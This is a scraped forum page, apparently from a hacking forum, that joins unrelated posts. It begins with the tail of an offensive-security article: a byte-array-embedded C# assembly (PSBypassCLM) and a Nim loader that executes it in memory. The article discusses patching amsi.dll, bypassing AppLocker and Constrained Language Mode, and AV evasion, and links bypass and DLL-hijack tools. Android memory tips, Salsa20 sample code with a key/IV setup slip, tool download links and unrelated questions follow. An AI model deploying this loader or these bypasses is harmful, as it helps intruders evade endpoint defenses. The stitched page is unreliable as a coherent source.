x65,0x00,0x72,0x00,0x6E,0x00,0x61,0x00,0x6C,0x00,0x4E,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x00,0x00,0x50,0x00,0x73,0x00,0x42,0x00,0x79,0x00,0x70,0x00,0x61,0x00,0x73,0x00,0x73,0x00,0x43,0x00,0x4C,0x00,0x4D,0x00,0x2E,0x00,0x65,0x00,0x78,0x00,0x65,0x00,0x00,0x00,0x48,0x00,0x12,0x00,0x01,0x00,0x4C,0x00,0x65,0x00,0x67,0x00,0x61,0x00,0x6C,0x00,0x43,0x00,0x6F,0x00,0x70,0x00,0x79,0x00,0x72,0x00,0x69,0x00,0x67,0x00,0x68,0x00,0x74,0x00,0x00,0x00,0x43,0x00,0x6F,0x00,0x70,0x00,0x79,0x00,0x72,0x00,0x69,0x00,0x67,0x00,0x68,0x00,0x74,0x00,0x20,0x00,0xA9,0x00,0x20,0x00,0x20,0x00,0x32,0x00,0x30,0x00,0x31,0x00,0x38,0x00,0x00,0x00,0x2A,0x00,0x01,0x00,0x01,0x00,0x4C,0x00,0x65,0x00,0x67,0x00,0x61,0x00,0x6C,0x00,0x54,0x00,0x72,0x00,0x61,0x00,0x64,0x00,0x65,0x00,0x6D,0x00,0x61,0x00,0x72,0x00,0x6B,0x00,0x73,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x10,0x00,0x01,0x00,0x4F,0x00,0x72,0x00,0x69,0x00,0x67,0x00,0x69,0x00,0x6E,0x00,0x61,0x00,0x6C,0x00,0x46,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x6E,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x00,0x00,0x50,0x00,0x73,0x00,0x42,0x00,0x79,0x00,0x70,0x00,0x61,0x00,0x73,0x00,0x73,0x00,0x43,0x00,0x4C,0x00,0x4D,0x00,0x2E,0x00,0x65,0x00,0x78,0x00,0x65,0x00,0x00,0x00,0x2C,0x00,0x06,0x00,0x01,0x00,0x50,0x00,0x72,0x00,0x6F,0x00,0x64,0x00,0x75,0x00,0x63,0x00,0x74,0x00,0x4E,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x50,0x00,0x73,0x00,0x42,0x00,0x79,0x00,0x32,0x00,0x00,0x00,0x34,0x00,0x08,0x00,0x01,0x00,0x50,0x00,0x72,0x00,0x6F,0x00,0x64,0x00,0x75,0x00,0x63,0x00,0x74,0x00,0x56,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x00,0x00,0x31,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x00,0x00,0x38,0x00,0x08,0x00,0x01,0x00,0x41,0x00,0x73,0x00,0x73,0x00,0x65,0x00,0x6D,0x00,0x62,0x00,0x6C,0x00,0x79,0x00,0x20,0x00,0x56,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x00,0x00,0x31,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x00,0x00,0xB4,0x43,0x00,0x00,0xEA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xEF,0xBB,0xBF,0x3C,0x3F,0x78,0x6D,0x6C,0x20,0x76,0x65,0x72,0x73,0x69,0x6F,0x6E,0x3D,0x22,0x31,0x2E,0x30,0x22,0x20,0x65,0x6E,0x63,0x6F,0x64,0x69,0x6E,0x67,0x3D,0x22,0x55,0x54,0x46,0x2D,0x38,0x22,0x20,0x73,0x74,0x61,0x6E,0x64,0x61,0x6C,0x6F,0x6E,0x65,0x3D,0x22,0x79,0x65,0x73,0x22,0x3F,0x3E,0x0D,0x0A,0x0D,0x0A,0x3C,0x61,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x20,0x78,0x6D,0x6C,0x6E,0x73,0x3D,0x22,0x75,0x72,0x6E,0x3A,0x73,0x63,0x68,0x65,0x6D,0x61,0x73,0x2D,0x6D,0x69,0x63,0x72,0x6F,0x73,0x6F,0x66,0x74,0x2D,0x63,0x6F,0x6D,0x3A,0x61,0x73,0x6D,0x2E,0x76,0x31,0x22,0x20,0x6D,0x61,0x6E,0x69,0x66,0x65,0x73,0x74,0x56,0x65,0x72,0x73,0x69,0x6F,0x6E,0x3D,0x22,0x31,0x2E,0x30,0x22,0x3E,0x0D,0x0A,0x20,0x20,0x3C,0x61,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x49,0x64,0x65,0x6E,0x74,0x69,0x74,0x79,0x20,0x76,0x65,0x72,0x73,0x69,0x6F,0x6E,0x3D,0x22,0x31,0x2E,0x30,0x2E,0x30,0x2E,0x30,0x22,0x20,0x6E,0x61,0x6D,0x65,0x3D,0x22,0x4D,0x79,0x41,0x70,0x70,0x6C,0x69,0x63,0x61,0x74,0x69,0x6F,0x6E,0x2E,0x61,0x70,0x70,0x22,0x2F,0x3E,0x0D,0x0A,0x20,0x20,0x3C,0x74,0x72,0x75,0x73,0x74,0x49,0x6E,0x66,0x6F,0x20,0x78,0x6D,0x6C,0x6E,0x73,0x3D,0x22,0x75,0x72,0x6E,0x3A,0x73,0x63,0x68,0x65,0x6D,0x61,0x73,0x2D,0x6D,0x69,0x63,0x72,0x6F,0x73,0x6F,0x66,0x74,0x2D,0x63,0x6F,0x6D,0x3A,0x61,0x73,0x6D,0x2E,0x76,0x32,0x22,0x3E,0x0D,0x0A,0x20,0x20,0x20,0x20,0x3C,0x73,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x3E,0x0D,0x0A,0x20,0x20,0x20,0x20,0x20,0x20,0x3C,0x72,0x65,0x71,0x75,0x65,0x73,0x74,0x65,0x64,0x50,0x72,0x69,0x76,0x69,0x6C,0x65,0x67,0x65,0x73,0x20,0x78,0x6D,0x6C,0x6E,0x73,0x3D,0x22,0x75,0x72,0x6E,0x3A,0x73,0x63,0x68,0x65,0x6D,0x61,0x73,0x2D,0x6D,0x69,0x63,0x72,0x6F,0x73,0x6F,0x66,0x74,0x2D,0x63,0x6F,0x6D,0x3A,0x61,0x73,0x6D,0x2E,0x76,0x33,0x22,0x3E,0x0D,0x0A,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x3C,0x72,0x65,0x71,0x75,0x65,0x73,0x74,0x65,0x64,0x45,0x78,0x65,0x63,0x75,0x74,0x69,0x6F,0x6E,0x4C,0x65,0x76,0x65,0x6C,0x20,0x6C,0x65,0x76,0x65,0x6C,0x3D,0x22,0x61,0x73,0x49,0x6E,0x76,0x6F,0x6B,0x65,0x72,0x22,0x20,0x75,0x69,0x41,0x63,0x63,0x65,0x73,0x73,0x3D,0x22,0x66,0x61,0x6C,0x73,0x65,0x22,0x2F,0x3E,0x0D,0x0A,0x20,0x20,0x20,0x20,0x20,0x20,0x3C,0x2F,0x72,0x65,0x71,0x75,0x65,0x73,0x74,0x65,0x64,0x50,0x72,0x69,0x76,0x69,0x6C,0x65,0x67,0x65,0x73,0x3E,0x0D,0x0A,0x20,0x20,0x20,0x20,0x3C,0x2F,0x73,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x3E,0x0D,0x0A,0x20,0x20,0x3C,0x2F,0x74,0x72,0x75,0x73,0x74,0x49,0x6E,0x66,0x6F,0x3E,0x0D,0x0A,0x3C,0x2F,0x61,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x3E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x30,0x00,0x00,0x0C,0x00,0x00,0x00,0x90,0x3C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00]
var assembly = load(buf)
var cmd: seq[string]
var i = 1
while i <= paramCount():
cmd.add(paramStr(i))
inc(i)
var arr = toCLRVariant(cmd, VT_BSTR)
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))
Я удалил обход AMSI и сделал несколько замен строк, чтобы обойти его здесь. Кстати, если ваша сборка C # обнаружена AMSI, вы получите следующее сообщение об ошибке из двоичного файла Nim:
Error: unhandled exception: unable to invoke specified member: Load (0x80131604) [CLRError]
Click to expand...
Если вам лень использовать обфускацию C# или создать свой собственный загрузчик Nim, включая зашифрованный, но не обфусцированный двоичный файл C#, расшифрованный во время выполнения, вы также можете использовать код шаблона OffensiveNim amsi_patch_bin.nim перед строкой EntryPoint.Invoke. Это будет выглядеть примерно так и исправляет amsi.dll перед загрузкой сборки .NET.
Чтобы объединить первую главу с этой - наш новый двоичный файл PSBypassCLM Nim также мог быть использован в моем задании:
Заключение
Мы узнали, что такое Constrained Language Mode и Applocker и как их обойти. Обход Constrained Language Mode в основном связан с прямым взаимодействием с .NET API вместо использования собственного Powershell.exe. Обход Applocker сильно зависит от используемой конфигурации. Конфигурация, содержащая каждую политику, может быть просмотрена любым зарегистрированным пользователем и впоследствии проанализирована на наличие слабых мест. Использование политики Applocker по умолчанию приводит к появлению множества общедоступных методов обхода с использованием собственных инструментов Windows, таких как Msbuild.exe, rundll32.exe и так далее. Я настоятельно рекомендую каждому защитнику, прочитавшему это, тем не менее, включить Constrained Language Mode хотя бы на всех клиентах. Applocker с хорошей конфигурацией делает практически невозможным успешное выполнение кода любым вредоносным ПО, поэтому это также рекомендуется. Однако следует позаботиться о том, чтобы повседневная работа не имела никакого влияния, поскольку законные приложения заблокированы.
Использование Nim для целей Offensive Security имеет несколько замечательных преимуществ. Он компилируется непосредственно в C/C ++, что дает нам все преимущества этих языков. Даже без хороших навыков в C/C ++ вместо него легко использовать Nim и получить от него ценный двоичный код C. Репозиторий OffensiveNim byt3bl33d3r предлагает множество примеров шаблонов, начиная от простого MessageBox, встраивания кода C в Nim, подмены PPID и BlockDLL, выполнения шелл-кода и многого другого до рефлексивного выполнения сборок .NET из памяти. Мы сосредоточились на создании байтового массива Nim из любого двоичного кода C#, чтобы создать собственный скомпилированный на C двоичный файл с шаблоном execute_assembly_bin.nim. Мы увидели, как анализировать параметры в Nim, а затем передавать их в сборку C#. И последнее, но не менее важное: мы использовали шаблон Nim AMSI для исправления amsi.dll перед загрузкой сборки .NET из памяти.
Перенос существующих инструментов на другой язык МОЖЕТ быть использован для AV-Evasion, но я думаю, что появление подписей для шаблонов OffensiveNim - это лишь вопрос времени. Поэтому рекомендуется настроить их и/или скрыть сборки .NET перед их внедрением.
**Ссылки и ресурсы
- OffensiveNim -https://github.com/byt3bl33d3r/OffensiveNim
- Constrained Language Mode -
<https://devblogs.microsoft.com/powershell/powershell-constrained-language-
mode/>
- Powershell Runspace - [https://docs.microsoft.com/en-us/po...owershell-
host-quickstart?view=powershell-7.1](https://docs.microsoft.com/en-
us/powershell/scripting/developer/hosting/windows-powershell-host-
quickstart?view=powershell-7.1)
- PSByPassCLM - https://github.com/padovah4ck/PSByPassCLM
- PowerShdll - https://github.com/p3nt4/PowerShdll
- InsecurePowershell - https://github.com/cobbr/InsecurePowerShell
- PowerLessShell - https://github.com/Mr-Un1k0d3r/PowerLessShell
- MSBuildShell - https://github.com/Cn33liz/MSBuildShell
- Applocker - [https://docs.microsoft.com/en-us/wi...plication-
control/applocker/what-is-applocker](https://docs.microsoft.com/en-
us/windows/security/threat-protection/windows-defender-application-
control/applocker/what-is-applocker)
- Generic Applocker bypass -
<https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-
AppLockerbypasses.md>
- Verified Applocker bypass -
https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md
- Find writable PATH Environment variable locations -
https://gist.github.com/wdormann/eb714d1d935bf454eb419a34be266f6f
- Connected Devices Platform Service (CDPSvc) DLL Hijack -
<http://zeifan.my/security/eop/2019/11/05/windows-service-host-process-
eop.html>
- Windows 10 Task Scheduler service DLL Hijack -
<https://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-
schedulerservice.html>
- Windows Server 2008R2 - 2019 NetMan DLL Hijacking
https://itm4n.github.io/windows-server-netman-dll-hijacking/
- UsoDllLoader - https://github.com/itm4n/UsoDllLoader
- WerTrigger - https://github.com/sailay1996/WerTrigger
- Faxhell - https://github.com/ionescu007/faxhell
- FileWrite2System -
https://github.com/sailay1996/awesome_windows_logical_bugs/blob/master/FileWrite2system.txt
- IlSpy - https://github.com/icsharpcode/ILSpy
- dnSpy - https://github.com/dnSpy/dnSpy
- Ida Pro - https://www.hex-rays.com/products/ida/
- Ghidra - https://ghidra-sre.org/
- execute_assembly_bin.nim template -
https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/execute_assembly_bin.nim
- Rubeus - https://github.com/GhostPack/Rubeus
- Nim execute assembly + AMSI bypass gist -
https://gist.github.com/S3cur3Th1sSh1t/06733ce759fe8844fc2ce7b3c609bfd5**
Здравствуйте. Возник вопрос по выделению памяти на стеке под пути. В Windows 10, начиная с версии 1607 можно включить поддержку длинных путей по дефолту, следовательно ограничение в MAX_PATH символов теряет смысл. Как универсально поддерживать длинные пути? Выделять в стеке 32767 символов под каждый путь глупо, как и постоянно выделять память динамически.
Как говорят в фильмах,основано на реальных событиях.Когда я работал над
android проектом я столкнулся с ситуацией когда мне нужно было достичь 2-3
кратного уменьшения потребления оперативной памяти.Каждый мегабайт имел
значение.
Мы начинали со 100-150Мб ОЗУ что вполне нормально для android приложения,но
цель была сделать потребление меньше 70Мб дабы оно плавно запускалось на
целевом девайсе.После просмотра кода,чистки переменных,оптимизации мы были в
диапазоне от 110-130Мб.
Так что я решил поделиться 4 главными шагами которые помогут достичь
потребления в 50-70Мб и сделать так что-бы прожористое приложение работало
эффективно.
Дисклеймер - когда оптимизируешь производительность ты используешь лучшие
методы и архитектурный подход как правило использование главных потоковых
библиотек входит в твой "стандартный набор" :MVVM, Dagger, Retrofit, Glide,
Kotlin, Jetpack libraries.
До запуска приложения :
После запуска приложения:
1-й шаг
Первый шаг это проверка на утечки памяти.Я верю что лучше всего начать
оптимизацию с уверенности в отсутствии утечек памяти так как они могут
уменьшить ваш объем работы по эффективному использованию памяти.
Вы можете использовать проект под названием "Leak Canary".
Spoiler: Leak Canary
A memory leak detection library for Android
square.github.io
Посмотри эту статью
Spoiler: Все об утечках памяти в android
](https://proandroiddev.com/everything-you-need-to-know-about-memory-leaks-in- android-d7a59faaf46a)
One of the core benefits of Java that they are garbage collected language. Essentially, we can create objects and the garbage collector…
proandroiddev.com
Ты можешь пометить "подозрительные" места своего кода запустив profiler в
android studio.Выполняя определенные действия в приложении, наблюдайте за
поведением памяти.
Что бы дать вам конкретный пример, у нас была утечка на задней кнопке. При
нажатии вперед и назад использование памяти приложением резко увеличивалось,
хотя предполагалось, что оно останется примерно таким же. Будьте бдительны,
если ваша память продолжает увеличиваться и никогда не возвращается к более
низким числам.
Далее изучите использование графики и растровых изображений. Наиболее
требовательными к памяти в мобильных приложениях обычно являются графика и
изображения. Поскольку наше приложение очень насыщено изображениями, мы
оптимизировали его больше всего.
Если ты используешь BitMap напрямую то главное чего стоит опасаться ошибки
OutOfMemory Exception.Что-бы её предотвратить ты должен кэшировать,изменить
размер,переработать BitMap'ы когда закончил их использовать.
В нашем случаи мы использовали библиотеку Glide для загрузки изображений эта
библиотека гарантирует работы "из коробки". Хоть и Glide помогает
оптимизировать использование изображений, нам пришлось кое-что сделать, чтобы
сделать его более эффективным.
Spoiler: Glide
An image loading and caching library for Android focused on smooth scrolling - bumptech/glide
github.com
Примечание. На мой взгляд, Glide - самая эффективная библиотека для загрузки
изображений. Раньше мы использовали Picasso, но Glide намного лучше. В
Интернете есть статьи, которые явно демонстрируют лучшую производительность
Glide.
Оптимизации Glide
Использование RGB_565 вместо ARGB_8888 для маломощных устройств. В Glide v4
формат ARGB_8888 включен по умолчанию. Это обеспечивает более гладкое
изображение, особенно в случаях градиента. Но на меньшем экране это не так
заметно. Использование RGB_565 позволило сэкономить память до 2-х раз на
изображениях.
Чтобы отключить его, вам нужно будет создать собственный класс GlideModule,
который будет генерировать класс GlideApp, а затем его нужно использовать
вместо ссылки Glide по умолчанию.
Java:Copy to clipboard
//custom GlideModule class
@GlideModule
class CustomGlideModuleV4 : AppGlideModule() {
override fun applyOptions(context: Context, builder: GlideBuilder) {
builder.setDefaultRequestOptions(
RequestOptions().format(DecodeFormat.PREFER_RGB_565)
)
}
}//sample usage
GlideApp.with(view.context)
.load("$imgUrl$IMAGE_URL_SIZE_SPEC")
.into(view)
Удаляйте кеш при нехватке памяти. Создайте собственный класс приложения и переопределите метод onTrimMemory.
Java:Copy to clipboard
override fun onTrimMemory(level: Int) {
GlideApp.with(applicationContext).onTrimMemory(TRIM_MEMORY_MODERATE)
super.onTrimMemory(level)
}
Отмените загрузки в переработчике, если представление больше не отображаются.
Некоторые люди могут не знать, но переработчик предоставляет callback при
повторном использовании представления. Если загрузка выполняется, когда
просмотр был переработан, это может быть пустой тратой ваших ресурсов. Мы
можем очистить это так:
Java:Copy to clipboard
override fun onViewRecycled(holder: ViewHolder) {
holder.binding?.imageItem?.let {
GlideApp.with(it.context).clear(it)
}
super.onViewRecycled(holder)
}
Уменьшите размер изображения. В качестве примера мы можем использовать что-то подобное для изменения размера изображения:
Java:Copy to clipboard
Glide
.with(context)
.load(url)
.apply(new RequestOptions().override(600, 200))
.into(imageView);
Про оптимизации Glide можете посмотреть тут:
Spoiler: Оптимизации Glide
](https://proandroiddev.com/how-to-optimize-memory-consumption-when-using- glide-9ac984cfe70f)
For developers of the apps which a lot of images, the one thing is certain besides death and taxes: OutOfMemory errors (OOM). Facing these…
proandroiddev.com
Проверьте ваши Room операции.Использование базы данных Room предоставляет разработчикам полезную функцию возврата LiveData, которую вы можете наблюдать и получать уведомления об изменениях в вашей таблице. Однако, присмотревшись к нему, мы обнаружили, что экземпляр LiveData получает уведомления чаще, чем ожидалось. Были ложные срабатывания уведомлений для наблюдаемых запросов. Google предлагает решение в виде функции расширения (что кажется ошибкой в LiveData), в любом случае после использования расширения мы увидели заметное улучшение производительности, поскольку мы широко используем Room для локального варианта использования корзины покупок.
Spoiler: Room
![developer.android.com](/proxy.php?image=https%3A%2F%2Fdeveloper.android.com%2Fimages%2Fsocial%2Fandroid- developers.png&hash=b43e144815ef99152d1eef86aed1e96a&return_error=1)
Learn to persist data more easily using the Room Library
![developer.android.com](/proxy.php?image=https%3A%2F%2Fwww.gstatic.com%2Fdevrel- devsite%2Fprod%2Fveaa02889f0c07424beaa31d9bac1e874b6464e7ed7987fde4c94a59ace9487fa%2Fandroid%2Fimages%2Ffavicon.png&hash=e08ba10a4baacc362ccd81d8072a4833&return_error=1) developer.android.com
Вместо прямого использования LiveData вот так:
Java:Copy to clipboard
fun getCartSubscription(): LiveData<List<CartItem>> = db.loadCart()
Мы используем расширение для фильтрации ложных срабатываний уведомлений:
Java:Copy to clipboard
fun getCartSubscription(): LiveData<List<CartItem>> = db.loadCart().getDistinct()
getDistinct() выглядит так:
Java:Copy to clipboard
/**
* Extension from Google to allow notifying UI only for distinct operations in Room
*/
fun <T> LiveData<T>.getDistinct(): LiveData<T> {
val distinctLiveData = MediatorLiveData<T>()
distinctLiveData.addSource(this, object : Observer<T> {
private var initialized = false
private var lastObj: T? = null
override fun onChanged(obj: T?) {
if (!initialized) {
initialized = true
lastObj = obj
distinctLiveData.postValue(lastObj)
} else if ((obj == null && lastObj != null)
|| obj != lastObj
) {
lastObj = obj
distinctLiveData.postValue(lastObj)
}
}
})
return distinctLiveData
}
Шаг 4
Проверка жизненного цикла и навигации фрагмента. Этот шаг состоит из 2 частей.
Используя новую навигационную библиотеку и шаблон единственного действия, мы
поняли, что фрагменты фактически не уничтожаются, пока они находятся на
графике. Сначала это кажется ошибкой библиотеки навигации, но затем после
проверки похоже, что это просто поведение по умолчанию для фрагмента.
(проверьте эту ветку). Так что, если он не уничтожен, то все переменные тоже
не уничтожаются и, самое главное, экземпляр привязки. Это наблюдение может
быть связано с общей проблемой утечки памяти, но я считаю, что оно заслуживает
отдельного шага. Таким образом, после явной установки привязки на null в
onDestroyView использование памяти значительно улучшилось.
И вторая часть этого шага заключалась в проверке действий навигации и
обнаружении случаев создания экземпляров фрагментов, когда один уже был на
графике, но недоступен. Итак, решение заключалось в том, чтобы пересмотреть
всю навигацию и убедиться, что на графике нет «мертвых» фрагментов.
Еще несколько советов:
По возможности используйте определенные методы уведомления при работе с
RecyclerView. Вместо вызова notifyDataSetChanged () используйте
notifyItemChanged (int position)
Уменьшите количество вспомогательных классов, таких как Mappers, Verifiers,
Transformers и т. Д. Создание объектов не так дорого, как раньше, но это не
значит, что вам не нужно обращать внимание. Избегайте ненужных абстракций.
Уменьшите размер apk. Уменьшение размера apk поможет уменьшить объем памяти,
занимаемой приложением в целом.
Не храните кучу объектов в памяти «на всякий случай» или в пулах, чтобы
избежать создания объекта. Чем больше объем памяти, тем дороже запускать
сборщик мусора для обхода всех этих объектов «старого поколения».
Запустите тестирование производительности в неотлаживаемой сборке, поскольку
это имеет значение, и вы можете не получить правильные результаты, поскольку
отлаживаемые сборки еще не оптимизированы ... пока.
Анимация требует памяти. Отрежьте анимацию, если цель - работать в среде с
ограничением памяти.
Изучите официальную документацию по оптимизации мощности и производительности
приложения, особенно по части управления памятью.
Spoiler: Оригинал
![proandroiddev.com](/proxy.php?image=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1024%2F1%2AxVW83uxGFU9MhfuUkm- rEg.jpeg&hash=1cd4128d0a044fcca0ec0d283c8ecc54&return_error=1)
](https://proandroiddev.com/decrease-memory-usage-of-your-android-app-in- half-a65524d7380b)
I would like to share 4 main steps that ultimately helped get our app memory usage cut in half and some useful tips
proandroiddev.com
Умный репакер для добавления библиотек в исполняемый файл (.exe) - работает
через ILRepacker
Добавляет только библиотеки на базе .Net Framework
Умеет распознавать console и winforms приложения
После перепаковки всё отлично читается
Скачать архив с исходниками можно по этим ссылкам:
[1] - https://yadi.sk/d/8AjVl9SZPVC3tQ
[2] -
https://mega.nz/file/nKgBnSIL#uu6QRyQDJypaT5U9-f0PntroG1gUS7z2GmC5amPQ59g
[3] - https://github.com/r3xq1/ILibPack
Source:
hxxps://cr.yp.to/snuffle.html
usage:
Code:Copy to clipboard
#include "ecrypt-synch.h"
int main(){
ECRYPT_ctx ctx;
unsigned char plaintext[1024] = "Test";
unsigned char receiver[1024];
u8 key[ECRYPT_MAXKEYSIZE / 8], IV[ECRYPT_MAXIVSIZE/8], ciphertext[1024], * result;
memset(key, 0, ECRYPT_MAXKEYSIZE / 8);
memset(key, 0, ECRYPT_MAXIVSIZE / 8);
ECRYPT_init();
ECRYPT_keysetup(&ctx, key, ECRYPT_MAXKEYSIZE, ECRYPT_MAXIVSIZE);
ECRYPT_ivsetup(&ctx, IV);
ECRYPT_encrypt_blocks(&ctx, plaintext, ciphertext, 16);
ECRYPT_ivsetup(&ctx, IV);
ECRYPT_decrypt_blocks(&ctx, ciphertext, receiver, 16);
return 0;
}
Remarks:
calling "ECRYPT_encrypt_bytes" should be done when encrypting fixed-length messages. For encrypting chunks, use the ECRYPT_encrypt_blocks macro, like in the example, because ECRYPT_encrypt_bytes can be called only once for key. Since the code is well-documented, i suggest to read "ecrypt-sync.h" for further informations.
Download:
hxxps://anonfiles.com/36H0f310pe/salsa20_rar
Privet, kto moshit pomo4 s otprawkaj UNICODA s send()
Funkzuja:
Code:Copy to clipboard
BOOL Send(SOCKET s,PCHAR lpData,int dwLen)
{
if (dwLen == -1)
dwLen=lstrlenA(lpData);
return (send(s,lpData,dwLen,0) == dwLen);
}
char szBuf[1024];
Send(s, "Hi", -1);
Всем привет, закончил "Обзорный перевод/пересказ книги" Windows Kernel Programming.
Данная работа была интересна некоторым посетителям этого ресурса, поэтому решил создать такую тему тут.
Есть также тема https://xss.is/threads/44171/ где Azrv3l выкладывал части переводов, если кто-то хочет их выкладывал, либо менять и исправлять ошибки, то я не возражаю, так даже будет лучше.)))
Само качество перевода конечно не самое хорошее, это не уровень редакции, да и перевод делал больше для себя, а последние две главы практически не вычитывал, т.к. хотел по быстрее закончить перевод, по причине, что понял, что даже такой превод требует больших как энергозатрат, так и времени.
Более-того понял, что смысла вот так читать книги "От корки, до корки" нет, а нужно читать темы, которые нужны конкретно для решения задач,**да конечно не плохо прочитать такую книгу, даже кто не собирается писать драйвера, т.к. в книге показано много трюков С++, которые можно использовать в своих прикладных программах.
Также данная книга будет полезна, кто хочет участвовать или участвует в разработке защитных решений для Windows, такие как беккапы, антивирусы и т.д.
Также в книге можно немного поизучать недокументированные API винды.
**
Но к сожалению данная книга направлена на совсем новичков в теме, и даёт
только набор каких-то базовых знаний и в ней не рассмотрены многие моменты, в
частности, что интересно было-бы мне:
• Аппаратные драйверы устройств.
• Сетевые драйверы и фильтры.
Тут я понял, что часто проще даже разобраться на примерах, нежели читать статьи, у Майкрософт есть неплохой репозиторий microsoft/Windows-driver- samples
В этом репозитории примеры драйверов, которые можно использовать как каркасы, даже сам автор книги рекомендовал его смотреть.)
В общем как-то так вкратце, кому тема интересна, всем удачи в изучении системной разработки для Windows.
